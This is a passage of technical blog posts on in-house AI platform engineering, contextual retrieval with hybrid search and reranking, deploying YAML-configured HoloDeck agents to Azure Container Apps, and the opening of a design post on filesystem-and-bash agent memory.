Platform engineering is not an IT governance function. It's a software engineering discipline. The people building your internal platform need to be people who feel the pain of not having one. People who've waited three weeks for a staging environment and thought "I could build a better system than this in a weekend." With AI coding assistants, that thought is now literally true.

Give a small, empowered team — even one or two devs — the mandate to build internal tooling. Give them Claude Code. Give them autonomy. Get IT out of the critical path for day-to-day development. Watch what happens.

Build the Moat Around What Actually Matters

Here's the mental model I keep coming back to.

Your organisation's moat is not its cloud infrastructure. It never was. Nobody ever won a competitive advantage because they had a really nice Kubernetes cluster. Your moat is your domain knowledge. Your data. Your processes. The software that encodes all of that into systems that work.

Cloud infrastructure — provisioning VMs, managing databases, configuring load balancers — that's commodity toil. Important, but undifferentiated. It's exactly the kind of work AI agents are already good at handling.

So here's what I think the play is:

Delegate the infrastructure toil to AI agents. Use agentic coding assistants to automate your cloud operations. Let machines manage machines. This is what they're good at.

Build your agent platforms in-house. Don't hand your agent orchestration to AI Foundry or Bedrock AgentCore. Use Claude Code to build your own. With one or two engineers driving AI, this is genuinely achievable now — and the result will be tailored to your domain, wired into your data, and owned by you. Not rented.

Spend your human engineering effort on what's actually unique to you. The domain logic. The data models. The regulatory knowledge. The workflows that make your organisation yours. That's where engineers should be thinking, not fighting YAML configs for a managed service that doesn't quite do what you need.

I'm not anti-cloud. I'm not suggesting anyone go rack servers. Use cloud compute, managed databases, managed networking — consume the commodity layers, absolutely. But stop outsourcing the intelligence layer. Stop letting cloud providers become the operating system for your AI strategy. The tools to take it back exist today, right now, and the cost of doing it yourself just dropped by an order of magnitude.

The Risk of Waiting

Some organisations will read this and think "we're not ready." They'll wait. They'll commission a strategy paper. They'll form a committee. They'll wait for IT to assess the tools. They'll wait for a vendor to package it all up in a nice procurement-friendly bundle.

And while they wait, they'll outsource the last engineering layers they had. They'll become fully dependent on platforms they don't understand, built by companies whose incentive is to keep them dependent for shareholder value. And when the pricing changes — and it always changes — they'll have zero internal capability to respond.

The organisations that start now, even messily, even with a tiny team, even with imperfect first attempts — they'll build the muscle memory that matters. They'll discover that two engineers with AI coding assistants can build things that would have required twenty people three years ago.

The cloud providers are betting you won't build. That the complexity will scare you off. That you'll keep paying rent on their platforms because it feels safer than trying.

I think they're wrong. And I think more engineers are starting to feel the same way.

If you want to see what building these patterns looks like in practice, check out HoloDeck — it's my open-source agent experimentation platform where I'm putting my money where my mouth is.

RAG Is Dead. Long Live RAG. Or Is It?

Jeremiah Justin Barias — Sat, 07 Feb 2026 00:00:00 +0000

Heads up: this is a long one. Grab a coffee.

There's a running joke in the AI engineering community: every six months, someone publishes a post declaring RAG dead. And every six months, the rest of us are still building retrieval pipelines, because the alternative — cramming a million pages into a context window and praying — doesn't actually work.

So let me add to the pile. RAG is dead. Long live RAG. Or is it?

Welcome to this rabbit hole.

What we're covering

The Great Vector Gold Rush of 2023 (and why it mostly didn't work)
GraphRAG's brief moment in the sun
The Anthropic blog post that rewired my brain
How I turned that into a tool for 800-page legislation (with reranking)
Why structured data gets left out of every RAG conversation
The agentic shift happening right now
The information retrieval problem nobody actually solved

The Great Vector Gold Rush

Cast your mind back to 2023. ChatGPT had just lit the world on fire and suddenly every database vendor on the planet had a vector announcement to make. Postgres got pgvector. Redis added vector similarity. Elasticsearch, MongoDB, Supabase — everyone scrambled to bolt on approximate nearest neighbour search like it was the new JSON column.

And enterprise teams took the bait. The playbook was dead simple:

Take your documents
Chunk them naively (every 500 tokens, maybe with some overlap)
Embed them with text-embedding-ada-002
Stuff them into a vector store
Wire up a chatbot
Ship it. Call it "AI-powered knowledge management"

Sound familiar? Yeah. Everyone did this.

I watched it play out firsthand. Business teams at my organisation (I work for the Federal Government) would come to us, exasperated:

"We tried using Copilot with SharePoint. We even ingested everything into Dataverse. It can't seem to understand PDFs with tables! Also it hallucinated like nobody's business. Precision and recall scores were abysmal. The whole thing turned into unusable slop."

The frustration was real. The promise of "just ask your documents anything" crumbled the moment you needed an actual correct answer from an 800-page piece of legislation. And the root cause was always the same: nobody was taking the information retrieval problem seriously.

They were treating retrieval as a checkbox — "we have a vector store, done" — when it's actually the hardest part of the whole pipeline.

GraphRAG and the Hype That Fizzled

Then came GraphRAG. Microsoft Research published a paper, the community got excited, and suddenly everyone was building knowledge graphs out of their document corpora. The idea had elegance: model entities and relationships explicitly, then traverse the graph during retrieval to capture multi-hop reasoning.

In practice? The extraction was brittle. The graphs were noisy. The latency was punishing. And for most use cases — "find me the section about reporting requirements in this regulation" — a well-built keyword index would have done the job in milliseconds.

GraphRAG didn't die, exactly. It found its niche in certain analytical workloads. But as a general-purpose retrieval upgrade for enterprise document search? It fizzled. The gap between research demo and production system was a chasm.

The Blog Post That Changed Everything (For Me)

In late 2024, Anthropic's engineering team quietly published a blog post called Contextual Retrieval. No fanfare. No "paradigm shift" language. Just a straightforward technique that made me stop what I was doing and redesign an entire tool.

The core insight is embarrassingly simple: when you chunk a document, you destroy context. So put the context back before you embed.

Here's what I mean. Traditional RAG takes a chunk like "The Administrator shall submit a report within 30 days" and embeds it in isolation. Which administrator? Which report? 30 days from what? The chunk lost all of that when it got ripped out of the document.

Contextual Retrieval takes the same chunk and prepends a short, LLM-generated summary of where it sits in the document: "This chunk is from Title IV, Chapter 2, Section 403(b) of the Clean Air Act, which covers administrative reporting requirements." Then you embed the whole thing.

That's it. That's the technique.

The Pipeline

Let me draw it out, because this is where it gets interesting — Anthropic doesn't just add context to embeddings. They build a hybrid index that combines vector search and BM25 keyword search, blended with Reciprocal Rank Fusion. The full pipeline looks like this:

═══════════════════════════════════════════════════════════════════════
  CONTEXTUAL RETRIEVAL PIPELINE (Anthropic)
═══════════════════════════════════════════════════════════════════════

  INDEXING PHASE
  ──────────────

  Full Document
       │
       ▼
  ┌─────────────────────────────────────┐
  │          Chunk Document             │
  │  (split into semantic chunks)       │
  └──────────────────┬──────────────────┘
                     │
          ┌──────────┴──────────┐
          │  For each chunk...  │
          ▼                     ▼
  ┌───────────────┐    ┌────────────────────────────┐
  │  Raw Chunk    │    │  Full Document + Chunk      │
  │               │───▶│         ↓                   │
  │  "The Admin   │    │  LLM generates context:     │
  │   shall       │    │  "This chunk is from        │
  │   submit a    │    │   Section 403(b) of the     │
  │   report      │    │   Clean Air Act, Title IV,  │
  │   within      │    │   covering administrative   │
  │   30 days"    │    │   reporting requirements."  │
  │               │    └─────────────┬──────────────┘
  └───────────────┘                  │
                                     ▼
                     ┌───────────────────────────────┐
                     │     Contextualized Chunk       │
                     │  "Section 403(b), Clean Air    │
                     │   Act, Title IV, admin         │
                     │   reporting. The Admin shall   │
                     │   submit a report within       │
                     │   30 days"                     │
                     └───────────────┬───────────────┘
                                     │
                    ┌────────────────┴────────────────┐
                    │                                  │
                    ▼                                  ▼
          ┌─────────────────┐              ┌─────────────────┐
          │  Embed (dense)  │              │  Index (BM25)   │
          │  via model      │              │  keyword index  │
          └────────┬────────┘              └────────┬────────┘
                   │                                │
                   ▼                                ▼
          ┌─────────────────┐              ┌─────────────────┐
          │  Vector Index   │              │  BM25 Index     │
          │  (semantic)     │              │  (lexical)      │
          └─────────────────┘              └─────────────────┘


  QUERY PHASE
  ───────────

  User Query: "What are the reporting requirements?"
       │
       ├──────────────────────────────┐
       │                              │
       ▼                              ▼
  ┌──────────────┐           ┌──────────────┐
  │ Vector Search│           │ BM25 Search  │
  │ (semantic    │           │ (keyword     │
  │  similarity) │           │  matching)   │
  └──────┬───────┘           └──────┬───────┘
         │                          │
         │  rank_1, rank_2, ...     │  rank_1, rank_2, ...
         │                          │
         └────────────┬─────────────┘
                      │
                      ▼
         ┌────────────────────────┐
         │  Reciprocal Rank       │
         │  Fusion (RRF)          │
         │                        │
         │  score(d) = Σ 1/(k+r)  │
         │  where k=60, r=rank    │
         │                        │
         │  Merges both result    │
         │  sets into one ranked  │
         │  list                  │
         └───────────┬────────────┘
                     │
                     ▼
         ┌────────────────────────┐
         │  Reranker (optional)   │
         │  Re-scores top-N       │
         │  for final ordering    │
         └───────────┬────────────┘
                     │
                     ▼
         ┌────────────────────────┐
         │  Top-K chunks → LLM   │
         │  for generation        │
         └────────────────────────┘

This is the key thing most people miss: it's not just contextual embeddings. The real power comes from the hybrid approach — vector search catches the semantic intent ("reporting requirements") while BM25 catches the exact terms ("Section 403(b)"). RRF merges both ranked lists so you get the best of both worlds without having to tune a linear combination weight.

The Numbers

The results are anything but simple:

Technique	Failure Rate	Reduction
Baseline (naive RAG)	5.7%	—
+ Contextual Embeddings	3.7%	-35%
+ Contextual Embeddings + BM25 (RRF)	2.9%	-49%
+ All of the above + Reranking	1.9%	-67%

From 5.7% down to 1.9%. That's not a typo — a 67% reduction in retrieval failures just by preserving context and combining search modalities. And the cost? Roughly a dollar per million document tokens with prompt caching. In a world where a single hallucinated legal citation can cost a business real money, that's essentially free.

What struck me wasn't just the effectiveness — it was the simplicity. No graph construction. No elaborate multi-agent retrieval choreography. Just: understand your document's structure, preserve it through the chunking process, use both vector AND keyword search, and let the fusion algorithm sort it out.

From Insight to Implementation: The Hierarchical Document Tool

This blog post became the direct inspiration for a new tool I'm building in HoloDeck, my open-source agent experimentation platform. I call it the Hierarchical Document Tool , and it takes Anthropic's approach and pushes it further — specifically for the kind of deeply structured documents I deal with at work.

The problem I'm solving is legislative analysis. We're talking about statutes, regulations, and policy documents that are 800 to 1,000 pages long, with intricate hierarchical structure: Titles, Chapters, Sections, Subsections, Paragraphs, Subparagraphs. A single piece of analysis might span multiple such documents. Getting retrieval wrong isn't just annoying — it means an agent cites the wrong section of law, or misses a critical cross-reference.

Here's where the Hierarchical Document Tool goes beyond what Anthropic described:

Structure-aware chunking

Instead of blindly splitting on token count, the tool parses markdown (converted from any source format) and chunks along structural boundaries. Every chunk retains its full parent chain as metadata:

["Title I", "Chapter 2", "Section 203", "Subsection (a)", "Paragraph (1)"]

When a chunk is retrieved, you know exactly where it lives in the document hierarchy. No more "this chunk mentions a 30-day deadline but I have no idea which part of which law it came from."

Contextual embeddings via LLM

Following Anthropic's approach, each chunk is sent through a lightweight LLM call (Claude Haiku or anything with a large enough context window) that generates a 50–100 token context preamble from the full document and the chunk's structural location. A chunk like "The Administrator shall submit a report within 90 days" gets prepended with something like: "This chunk is from Section 203 of the Environmental Protection Act, Title IV, Chapter 2, which covers administrative reporting requirements for regulated entities."

The contextualized text — preamble plus original chunk — is what gets embedded and indexed. The whole context generation pipeline for a 100-page document costs roughly $0.03 with prompt caching, runs 10 chunks concurrently, and falls back gracefully to raw chunks if the LLM call fails. Three cents. For a hundred pages. I'll take that trade every time.

Hybrid search with tiered keyword strategy

This is where it gets fun. The tool maintains three parallel indices: dense (embedding) for semantic search, sparse (BM25) for keyword search, and exact match for precise lookups like section numbers (to be built).

What makes this interesting is the keyword search layer. Not every vector store supports native hybrid search, so the tool uses a tiered strategy:

Tier 1 — Native hybrid : If your provider supports it (Azure AI Search, Weaviate, Qdrant), use the built-in hybrid capabilities
Tier 2 — OpenSearch : Route to an OpenSearch endpoint for production-grade BM25
Tier 3 — In-memory BM25 : Fall back to an in-memory index for development and testing

All three search modalities run in parallel and merge via Reciprocal Rank Fusion (score(d) = sum of weight_i / (k + rank_i), with k=60 by default) with configurable weights.

And because RRF is rank-based, it doesn't require score normalization across different search engines. The best BM25 result gets a big boost even if its raw score is on a different scale than the embedding similarity. This means you can tune the weights to favor precision (keyword) or recall (semantic) without worrying about score calibration.

When someone searches for "Section 403(b)(2)", the exact match index catches it instantly. When they search for "What are the environmental reporting requirements?", the semantic index handles it. In practice, most queries benefit from all three.

Reranking: the final 18% that matters

Look at Anthropic's numbers again. Contextual embeddings + BM25 gets you from 5.7% to 2.9% — a 49% reduction. But adding a reranker on top pushes that to 1.9% — another 18 percentage points of improvement. That last mile matters a lot when you're working with legal text where "close enough" isn't.

Here's what reranking actually does: after RRF merges your vector and keyword results into a single ranked list, you take the top N candidates (say, 30) and pass them through a cross-encoder model that scores each candidate in the context of the original query. Unlike embedding similarity — which compares pre-computed vectors — a cross-encoder sees the query and the document chunk together, which lets it catch nuances that embedding distance misses.

The trade-off is latency. Cross-encoders are slower because they can't pre-compute anything — every query-document pair needs a forward pass. But we're talking about scoring 20–30 candidates, not your entire corpus. In practice, that's under 500ms, which is plenty fast for most use cases.

Reranking isn't in HoloDeck yet — it's next on the roadmap. But I've already designed it as an opt-in extension for vectorstore tools, and the plan supports two providers:

Cohere Rerank API — cloud-hosted, fast, no infrastructure to manage. Great for getting started
vLLM — self-hosted reranking models for teams with data privacy requirements or who want to run open-source cross-encoders. vLLM exposes a Cohere-compatible /v1/rerank endpoint, so the same client code works for both

The config will be dead simple. Add rerank: true to any vectorstore tool and you're done:

tools:
  - name: knowledge_search
    type: vectorstore
    config:
      index: product-docs
    rerank: true
    reranker:
      provider: cohere
      model: rerank-english-v3.0
      api_key: ${COHERE_API_KEY}

A few things I'm particularly happy with in the design so far:

Candidate pool sizing : By default, the reranker gets top_k * 3 candidates. If you're returning 10 results, the system fetches 30 from the initial search, reranks all 30, then returns the top 10. More candidates = better reranking quality, at the cost of slightly more latency. You can tune rerank_top_n directly if you want to dial this in
Graceful fallback : If the reranker fails (network timeout, rate limit, service down), the system silently falls back to the original ranked results and logs a warning. Your search doesn't break just because the reranker had a bad day. Configuration errors like bad API keys still fail fast though — you want to know about those immediately, not discover them at 2am
Zero breaking changes : Existing vectorstore configs without rerank: true work exactly as before. The whole thing is opt-in

Definition and cross-reference extraction

Legal and regulatory documents are riddled with defined terms ("Administrator means the Administrator of the Environmental Protection Agency") and cross-references ("as described in Section 201(a)(1)(b)"). If you've ever tried to read legislation, you know the pain — half the document is just pointing at other parts of the document.

The tool detects definitions sections and extracts them into a separate, always-available reference. Cross-references are identified and stored so agents can navigate related sections.

This is still evolving — planned improvements include explicit tools that let agents look up term definitions on demand and resolve section cross-references directly (more on this in the agentic shift section below).

The YAML

And because HoloDeck is a no-code agent platform, all of this is configured through YAML:

tools:
  - name: legislative_search
    type: hierarchical_document
    source: ./regulations
    contextual_embeddings: true
    context_model:
      provider: azure_openai
      name: gpt-5-mini # use a cheap, fast model but with a large context window
      temperature: 0.0
    context_max_tokens: 100
    context_concurrency: 10
    chunking_strategy: structure
    max_chunk_tokens: 800
    semantic_weight: 0.5
    keyword_weight: 0.3
    exact_weight: 0.2
    # rerank: true # coming soon
    # reranker:
    # provider: cohere
    # model: rerank-english-v3.0

One YAML block. Structure-aware chunking, contextual embeddings with a cheap LLM, triple-index hybrid search — and reranking once that lands. No Python required. I'm pretty happy with how this turned out.

Don't Forget Structured Data

While we're on the topic of retrieval, there's another blind spot in the "RAG everything" approach that nobody talks about: structured data.

Most enterprise RAG discussions focus exclusively on unstructured content — PDFs, Word docs, policy manuals. But organisations sit on mountains of structured data in CSVs, JSON feeds, databases, and APIs. An agent doing legislative analysis might need to cross-reference a regulation with a structured dataset of enforcement actions, compliance filings, or budget allocations.

Any serious RAG strategy needs to account for both:

Unstructured content → chunking-embedding-retrieval pipeline
Structured data → query interfaces (SQL, API calls, structured search)

Treating everything as "documents to embed" is how you end up with a chatbot that can vaguely summarise a spreadsheet but can't tell you the exact value in row 47. Don't be that team.

The Agentic Shift

Meanwhile, the landscape is shifting under our feet. Tools like Claude Code, OpenAI Codex, and others are introducing sophisticated agentic workflows where the AI doesn't just retrieve — it reasons about what to retrieve, how to retrieve it, and what to do with the results.

I wrote about this in a previous post, Agentic Memory: Bash + File System Is All You Need, exploring how advanced memory management for agents can be as simple as reading and writing files. The same principle applies to retrieval: the most effective systems aren't the ones with the most exotic retrieval algorithm. They're the ones where the agent has the right tools — lookup a definition, navigate to a section, search by keyword, search by concept — and the judgment to use them appropriately.

This is why I'm building the Hierarchical Document Tool as a toolkit, not a monolithic search endpoint. Today the tool exposes hybrid search with structure-aware results. But the roadmap includes giving agents explicit primitives:

A definition lookup tool so the agent can resolve defined terms on demand ("What does 'Administrator' mean in this Act?")
A section navigation tool that lets agents traverse the document hierarchy directly ("Go to Title 1, Chapter 3, Section 201(a)(1)(b)")

Instead of one big search call, the agent gets the building blocks to reason about information retrieval the way a human researcher would — look up a term, follow a cross-reference, search semantically, then search by keyword to confirm. That's the real unlock.

The Problem That Was Never Solved

Here's what I keep coming back to: information retrieval is a decades-old problem, and we haven't solved it. We've just been cycling through new implementations of the same fundamental challenge.

Before LLMs, we had TF-IDF, BM25, latent semantic analysis, learning-to-rank. These techniques powered search engines that actually worked, that billions of people relied on daily. Then the LLM wave hit, and somehow the industry collectively decided to replace all of that hard-won information retrieval knowledge with "just embed everything and do cosine similarity."

That was never going to be enough. Embeddings are powerful for capturing semantic similarity, but they're terrible at exact matching, structured lookups, and preserving document hierarchy. BM25 is excellent at keyword precision but misses conceptual relationships. The answer — as Anthropic demonstrated with the hybrid pipeline above — is to combine them thoughtfully. And to respect the structure of the documents you're working with.

The organisations I see struggling with RAG aren't struggling because the technology is bad. They're struggling because they skipped the boring parts: understanding their document structures, building proper indexing pipelines, implementing hybrid search, testing retrieval quality independently from generation quality. They jumped straight to the chatbot demo and wondered why it hallucinated.

RAG Isn't Dead. We Just Never Did It Right.

The hype cycle wants to move on. Context windows are growing. Some argue we'll eventually just stuff everything into the prompt. Maybe. But for the foreseeable future — for the 800-page statutes, the multi-document regulatory analyses, the enterprise knowledge bases with tens of thousands of documents — retrieval is still the bottleneck, and getting it right still matters enormously.

Anthropic's contextual retrieval technique isn't magic. It's just good engineering: understand what information is lost in your pipeline, and put it back. Combine vector and keyword search with RRF instead of betting everything on embeddings. Add a reranker if you can. The Hierarchical Document Tool I'm building takes that same philosophy and extends it to deeply structured documents where position in the hierarchy is meaning itself.

RAG had promise. It still does. But it's time we stopped treating information retrieval as a solved problem that just needs a vector database, and started treating it as the hard, nuanced, domain-specific engineering challenge it's always been.

The shiny new thing will always be tempting. But sometimes the biggest gains come from going back and doing the old thing properly.

This post is part of a series on building AI agent tooling. Read my previous post on Agentic Memory: Bash + File System Is All You Need for more on the patterns I'm implementing in HoloDeck.

From YAML to Production: Deploying HoloDeck Agents to Azure Container Apps

Jeremiah Justin Barias — Wed, 28 Jan 2026 00:00:00 +0000

From YAML to Production: Deploying HoloDeck Agents to Azure Container Apps

Your agent works locally. The evaluations pass. Chat sessions flow smoothly. Now comes the question every agent developer faces: how do I get this thing into production?

Traditionally, this is where the real work begins—Dockerfiles, container registries, Kubernetes manifests, ingress controllers, health checks. But with HoloDeck's new deploy command, you can go from a local YAML configuration to a production endpoint in a few commands. No Kubernetes required.

In this guide, we'll walk through deploying a customer support agent to Azure Container Apps.

The Customer Support Agent

Let's start with what we're deploying. The customer-support agent in sample/customer-support/ollama/ (from github.com/justinbarias/holodeck-samples) is a context-aware support chatbot with:

Knowledge base search via vector stores for product documentation
FAQ lookup for quick answers to common questions
Product catalog search for subscription plans and pricing
Conversation memory via MCP for context persistence

Here's the core configuration:

name: customer-support
description: Context-aware customer support agent with knowledge base integration

model:
  provider: ollama
  name: gpt-oss:20b
  temperature: 0.3
  max_tokens: 4096
  endpoint: http://truenas.home:11434

instructions:
  file: instructions/system-prompt.md

tools:
  # Knowledge Base - Product documentation and support articles
  - name: knowledge_base
    type: vectorstore
    description: Search product documentation and support articles
    database: chromadb
    embedding_model: nomic-embed-text:latest
    top_k: 5
    source: data/knowledge_base.md

  # FAQ Database - Frequently asked questions
  - name: faq
    type: vectorstore
    description: Search frequently asked questions for quick answers
    database: chromadb
    embedding_model: nomic-embed-text:latest
    source: data/faq.json
    top_k: 3

  # Memory - Conversation persistence via MCP
  - name: memory
    type: mcp
    description: Store and retrieve conversation context
    command: npx
    args:
      - "-y"
      - "@modelcontextprotocol/server-memory"

No Python code. Just YAML. The agent knows how to search documentation, look up FAQs, and remember conversation context—all defined declaratively.

Adding Deployment Configuration

To deploy this agent, we add a deployment section to agent.yaml. This tells HoloDeck where to push the container image and which cloud provider to use:

deployment:
  registry:
    url: ghcr.io
    repository: justinbarias/customer-support-agent
  target:
    provider: azure
    azure:
      subscription_id: <guid-of-subscription-id>
      resource_group: holodeck-aca
      environment_name: holodeck-env
      location: australiaeast
  protocol: rest
  port: 8080

Let's break this down:

Field	Description
`registry.url`	Container registry (GitHub Container Registry in this case)
`registry.repository`	Repository name for the image
`target.provider`	Cloud provider (`azure`, `aws`, or `gcp`)
`target.azure.*`	Azure-specific settings—subscription, resource group, environment
`protocol`	API protocol (`rest` or `ag-ui` for CopilotKit)
`port`	Port the agent listens on

Building the Container Image

With the deployment configuration in place, building the image is a single command:

holodeck deploy build agent.yaml

Here's what happens:

Loading agent configuration from agent.yaml...

Build Configuration:
  Agent: customer-support
  Image: ghcr.io/justinbarias/customer-support-agent:3443eda
  Platform: linux/amd64
  Protocol: rest
  Port: 8080

Preparing build context...
Connecting to Docker...
Building image ghcr.io/justinbarias/customer-support-agent:3443eda...

============================================================
  Build Successful!
============================================================

  Image: ghcr.io/justinbarias/customer-support-agent:3443eda
  ID: sha256:b7e145183148...

  Next steps:
    Run locally: docker run -p 8080:8080 ghcr.io/justinbarias/customer-support-agent:3443eda
    Push to registry: docker push ghcr.io/justinbarias/customer-support-agent:3443eda

Behind the scenes, HoloDeck:

Generates a Dockerfile using the holodeck-base image
Copies your agent files (agent.yaml, instructions, data directories)
Creates an entrypoint script that runs holodeck serve
Builds the image with OCI-compliant labels
Tags it with the current git SHA (3443eda)

Want to see what would be built without actually building? Use --dry-run:

holodeck deploy build agent.yaml --dry-run

This shows the generated Dockerfile and build context without executing anything.

Pushing to Registry

The holodeck deploy push command is planned but not yet implemented. For now, use Docker directly:

# Login to GitHub Container Registry
docker login ghcr.io -u USERNAME

# Push the image
docker push ghcr.io/justinbarias/customer-support-agent:3443eda


The push refers to repository [ghcr.io/justinbarias/customer-support-agent]
c57f153dc3b1: Pushed
cab5b36daf6a: Pushed
0190bcbc478d: Pushed
...
3443eda: digest: sha256:d807e905fed0... size: 4080

Deploying to Azure Container Apps

With the image in the registry, deployment is another single command:

holodeck deploy run agent.yaml


Deploy Configuration:
  Agent: customer-support
  Image: ghcr.io/justinbarias/customer-support-agent:3443eda
  Tag: 3443eda
  Platform: linux/amd64
  Provider: azure
  Port: 8080

Deployment Successful!
  Service: customer-support
  Status: Succeeded
  URL: https://customer-support.nicerock-800c6f60.australiaeast.azurecontainerapps.io
  Health: https://customer-support.nicerock-800c6f60.australiaeast.azurecontainerapps.io/health

HoloDeck creates an Azure Container App with:

External ingress with automatic HTTPS
Health checks on /health
Auto-scaling based on HTTP traffic
Environment variables for LLM API keys (passed through securely)

The agent is now live at the generated URL.

Testing the Deployed Agent

Let's verify the deployment with a health check:

curl https://customer-support.nicerock-800c6f60.australiaeast.azurecontainerapps.io/health


{
  "status": "healthy",
  "agent_name": "customer-support",
  "agent_ready": true,
  "active_sessions": 0,
  "uptime_seconds": 14.41
}

The agent is healthy and ready to receive requests.

To chat with the agent:

curl -X POST https://customer-support.nicerock-800c6f60.australiaeast.azurecontainerapps.io/chat \
  -H "Content-Type: application/json" \
  -d '{"message": "What is your return policy?"}'

Managing Deployments

Check Status

At any time, you can check the deployment status:

holodeck deploy status agent.yaml


Deployment Status
  Service: customer-support
  Provider: azure
  Status: Succeeded
  URL: https://customer-support.nicerock-800c6f60.australiaeast.azurecontainerapps.io
  Updated: 2026-01-28T00:27:28.537340+00:00

Tear Down

When you're done, clean up the deployment:

holodeck deploy destroy agent.yaml

This removes the Container App from Azure. The image remains in the registry for future deployments.

State Tracking

HoloDeck tracks deployment state locally in .holodeck/deployments.json. This allows it to manage updates and teardowns without querying the cloud provider each time.

What About AWS and GCP?

AWS App Runner and GCP Cloud Run support are coming soon. The configuration looks similar:

# AWS App Runner (planned)
deployment:
  target:
    provider: aws
    aws:
      region: us-east-1
      cpu: 1
      memory: 2048

# GCP Cloud Run (planned)
deployment:
  target:
    provider: gcp
    gcp:
      project_id: my-project
      region: us-central1
      memory: 512Mi

For now, you can use holodeck deploy build to create the container image, push it to any registry, and deploy manually to your preferred platform. See the DIY Deployment section in the deployment guide for details.

Conclusion

We went from a YAML configuration to a production API endpoint in four steps:

Add deployment config to agent.yaml
Build with holodeck deploy build
Push the image to a registry
Deploy with holodeck deploy run

No Dockerfiles to write. No Kubernetes to configure. No infrastructure to manage.

The full deployment documentation is available in the Deployment Guide. Give it a try with your own agents—and let us know how it goes.

Building a Filesystem + Bash Based Agentic Memory System (Part 1)

Jeremiah Justin Barias — Fri, 16 Jan 2026 00:00:00 +0000

Building a Filesystem + Bash Based Agentic Memory System (Part 1)

Part 1 of 3: Research, Patterns, and Design Goals

A few days ago, I wrote about how I reduced my agent's token consumption by 83% by implementing a ToolFilterManager that dynamically selects which tools to expose based on query relevance. That tackled the first major pattern from Anthropic's Advanced Tool Use article—the tool search tool.

But that article describes three patterns, and I've been eyeing the second one: programmatic tool calling.

The idea is to let Claude "orchestrate tools through code rather than through individual API round-trips." Instead of the model making 20 sequential tool calls (each requiring an inference pass), it writes a single code block that executes all of them, processing outputs in a sandboxed environment without inflating context. Anthropic reports a 37% token reduction on complex tasks with this approach.

This got me thinking: what if we took this further? What if instead of code execution, we gave agents direct filesystem and bash access?

Welcome to Part 1 of this rabbit hole.

What are we talking about?

Why Filesystem + Bash?
Existing Work
How It Works: Traditional vs Filesystem-Based
Bridging the Gap: MCP as CLI
Design Goals for My Experiment
What This Isn't
Next Up

Why Filesystem + Bash?

Vercel published a piece on building agents with filesystems and bash that crystallized something I'd been mulling over. Their core insight:

LLMs have been trained on massive amounts of code.

Models already know how to grep, cat, find, and ls. They've seen millions of examples of bash usage during training. You don't need to teach them your custom SearchCodebase tool—they already know grep -r "pricing objection" ./transcripts/.

Their results were compelling: a sales call summarization agent went from $1.00 to $0.25 per call on Claude Opus while improving output quality. That's not a typo—cheaper AND better.

The reason? Contextual precision. Vector search gives you semantic approximations. Prompt stuffing hits token limits. But grep -r returns exactly what you asked for, nothing more.

If you've used Claude Code, you've seen this pattern in action. The agent doesn't call abstract tools—it has a filesystem and runs commands against it. The model thinks in cat, head, tail, and jq, not ReadFile(path="/foo/bar").

Existing Work

I'm not the first person down this path.

AgentFS from Turso is a filesystem abstraction built on SQLite. Their pitch: "copy-on-write isolation, letting agents safely modify files while keeping your original data untouched." Everything lives in a single portable SQLite database—easy to snapshot, share, and audit. They've built CLI wrappers and SDKs for TypeScript, Python, and Rust. It's marked as ALPHA and explicitly not for production, but the architecture is interesting.

Claude Code is the obvious reference implementation. Anthropic gave their coding agent real filesystem access with sandboxing, and it works remarkably well. The agent naturally uses bash patterns it learned during training.

Vercel's bash-tool provides sandboxed bash execution alongside their AI SDK. Their examples show domain-to-filesystem mappings: customer support data organized by customer ID with tickets and conversations as nested files, sales transcripts alongside CRM records.

mcp-cli and mcptools enable calling MCP servers from the command line. This is the missing link—it lets agents invoke MCP tools via bash and redirect output to files, bridging the gap between structured tool definitions and filesystem-based execution.

How It Works: Traditional vs Filesystem-Based

Before diving deeper, let me illustrate the fundamental difference between these approaches.

Traditional Agentic Tool Calling

═══════════════════════════════════════════════════════════════════════
  TRADITIONAL TOOL CALLING
═══════════════════════════════════════════════════════════════════════

  User Query ──────▶ Agent (sends ALL 16 tool definitions)
                                      │
                                      ▼
                              ┌───────────────┐
                              │      LLM      │
                              │ "I'll use     │
                              │ search_docs & │
                              │ query_database│
                              │ tools"        │
                              └───────┬───────┘
                                      │
                                      ▼
                         Agent Executes Tools
                         search_docs("pricing")
                         query_database("customers")
                                      │
                                      ▼
                      ┌───────────────────────────────┐
                      │  RAW OUTPUT (1000s of tokens!)│
                      │  [full doc contents,          │
                      │   all 500 DB rows...]         │
                      └───────────────┬───────────────┘
                                      │
                                      ▼
                              ┌───────────────┐
                              │      LLM      │
                              │  (processes   │
                              │   ENTIRE      │
                              │   output)     │
                              └───────┬───────┘
                                      │
                                      ▼
                              ┌───────────────┐
                              │   Response    │
                              └───────────────┘

  Problems:
  ├── 🔴 All tool definitions sent every request (5,888 tokens just for schemas!)
  ├── 🔴 Full tool output dumped into context (DB query = 500 rows in context)
  └── 🔴 Each tool call = 1 inference round-trip

Filesystem + Bash Based Tool Calling

═══════════════════════════════════════════════════════════════════════
  FILESYSTEM + BASH TOOL CALLING
═══════════════════════════════════════════════════════════════════════

  User Query ──────▶ Agent (sends sandbox tool + fs structure)
                                      │
                                      ▼
                              ┌───────────────┐
                              │      LLM      │
                              │ "I'll explore │
                              │  the data:    │
                              │  ls, cat..."  │
                              └───────┬───────┘
                                      │
            ┌─────────────────────────┴─────────────────────────┐
            │                                                   │
            ▼                                                   │
  ┌───────────────────────┐                                     │
  │   Sandbox Execution   │                                     │
  │   $ ls ./customers/   │                                     │
  │   > acme/ globex/     │                                     │
  │     initech/ ...      │──────┐                              │
  └───────────────────────┘      │                              │
                                 │  (output written to file     │
                                 │   or returned as path)       │
                                 ▼                              │
                  ┌────────────────────────────┐                │
                  │           LLM              │                │
                  │  "Found customers. Now:    │                │
                  │   grep -r 'pricing' ./docs │                │
                  │   | head -20"              │                │
                  └─────────────┬──────────────┘                │
                                │                               │
                                ▼                               │
                  ┌───────────────────────┐                     │
                  │   Sandbox Execution   │                     │
                  │   $ grep -r 'pricing' │                     │
                  │     ./docs | head -20 │                     │
                  └─────────────┬─────────┘                     │
                                │                               │
                                ▼                               │
                  ┌────────────────────────────┐                │
                  │           LLM              │                │
                  │  "Need more detail on      │                │
                  │   enterprise tier:         │                │
                  │   awk '/enterprise/,/---/' │◀───────────────┘
                  │     ./docs/pricing.md"     │     (loop until
                  └─────────────┬──────────────┘      sufficient
                                │                     context)
                                ▼
                        ┌──────────────┐
                        │   Response   │
                        │  (with only  │
                        │   relevant   │
                        │   context)   │
                        └──────────────┘

  Benefits:
  ├── 🟢 Minimal tool definitions (just "sandbox" tool)
  ├── 🟢 Agent controls what enters context (grep, head, awk filter results)
